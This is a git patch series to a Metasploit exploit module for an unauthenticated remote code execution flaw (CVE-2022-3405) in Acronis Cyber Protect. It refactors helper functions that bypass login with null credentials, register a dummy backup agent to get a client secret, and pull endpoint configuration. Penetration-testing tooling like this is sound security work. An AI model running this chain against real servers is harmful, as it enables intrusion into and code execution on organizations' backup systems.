8124cd7cff5a..99e2903918ce 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -8,7 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report - # include Msf::Exploit::Remote::HTTP::AcronisCyber + include Msf::Exploit::Remote::HTTP::AcronisCyber prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -94,136 +94,6 @@ def initialize(info = {}) ]) end - # return first access_token or nil if not successful - def get_access_token1 - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'password', - 'username' => nil, - 'password' => nil - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - - # returns the client_secret if successful otherwise nil - def dummy_agent_registration(client_id, access_token1) - name = Rex::Text.rand_text_alphanumeric(5..8).downcase - post_data = { - client_id: client_id.to_s, - data: { agent_type: 'backupAgent', hostname: name.to_s, is_transient: true }, - tenant_id: nil, - token_endpoint_auth_method: 'client_secret_basic', - type: 'agent' - }.to_json - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'api', 'account_server', 'v2', 'clients'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token1}" - }, - 'data' => post_data.to_s - }) - return unless res&.code == 201 && res.body.include?('client_id') && res.body.include?('client_secret') - - # parse json response and return client_secret - res_json = res.get_json_document - return if res_json.blank? - - res_json['client_secret'] - end - - # return second access_token or nil if not successful - def get_access_token2(client_id, client_secret) - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'idp', 'token'), - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest' - }, - 'vars_post' => { - 'grant_type' => 'client_credentials', - 'client_id' => client_id.to_s, - 'client_secret' => client_secret.to_s - } - }) - return unless res&.code == 200 - return unless res.body.include?('access_token') - - # parse json response and return access_token - res_json = res.get_json_document - return if res_json.blank? - - res_json['access_token'] - end - - # return all configured items in json format or return nil if not successful - def get_machine_info(access_token2) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), - 'ctype' => 'application/json', - 'keep_cookies' => true, - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token2}" - }, - 'vars_get' => { - 'embed' => 'details' - } - }) - return unless res&.code == 200 - return unless res.body.include?('items') || res.body.include?('data') - - if datastore['OUTPUT'] == 'json' - loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') - print_good("Configuration details are successfully saved in json format to #{loot_path}") - end - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json - end - - # return version information or nil if not successful - def get_version_info(access_token2) - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), - 'ctype' => 'application/json', - 'headers' => { - 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{access_token2}" - } - }) - return unless res&.code == 200 - return unless res.body.include?('backendVersion') - - # parse json response and get the relevant machine info - res_json = res.get_json_document - return if res_json.blank? - - res_json['backendVersion'] - end - # create and import backup plan data with payload # returns nil if not successful def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) From 65acafacfd017d9166834b0292e4c9c843612928 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Thu, 28 Nov 2024 08:57:21 -0800 Subject: [PATCH 10/10] Apply suggestions from code review --- .../multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index 99e2903918ce..eb7582faa5f3 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -97,7 +97,7 @@ def initialize(info = {}) # create and import backup plan data with payload # returns nil if not successful def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) - id = SecureRandom.uuid + id = Faker::Internet.uuid name = Rex::Text.rand_text_alphanumeric(5..8).downcase # we need to split the payload in the command and the arguments @@ -415,7 +415,7 @@ def check return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? # register a dummy agent - client_id = SecureRandom.uuid + client_id = Faker::Internet.uuid print_status('Register a dummy backup agent.') client_secret = dummy_agent_registration(client_id, @access_token1) return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? @@ -462,7 +462,7 @@ def exploit fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? # register a dummy agent - client_id = SecureRandom.uuid + client_id = Faker::Internet.uuid print_status('Register a dummy backup agent.') client_secret = dummy_agent_registration(client_id, @access_token1) fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil?